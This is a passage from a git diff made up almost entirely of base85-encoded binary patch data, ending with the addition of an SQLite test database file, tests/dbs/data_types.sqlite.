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 diff --git a/tests/dbs/data_types.sqlite b/tests/dbs/data_types.sqlite new file mode 100644 index 0000000000000000000000000000000000000000..0b27c4a1d24088e0a0a145345a6f4392ec808799 GIT binary patch literal 8192 zcmeI#PfEi;6bA5_SX!n~(uL@%Fc}yALELzOHf4}XtQaG@5F|091kyy}6x3bs;?^sa z9zeG)1uvkUK%Ic0JJ*8WM<(;$yfBO3E{6wRq7}c$i&3cgHfa+|Ntbg%NX;zEtSSqp zD9@_Us`zEEk*(w1mid6%88Ht60SG_<0uX=z1Rwwb2tWV=5cmfI6Pq@c9fwX59Y(2& zLmi&!+beZFudKc=dx7LZ&-El1^MT-NO(v2|t4mb~HW&tSNBW!QOsg9$SRhY=vWwC@ z63q4X-LflGm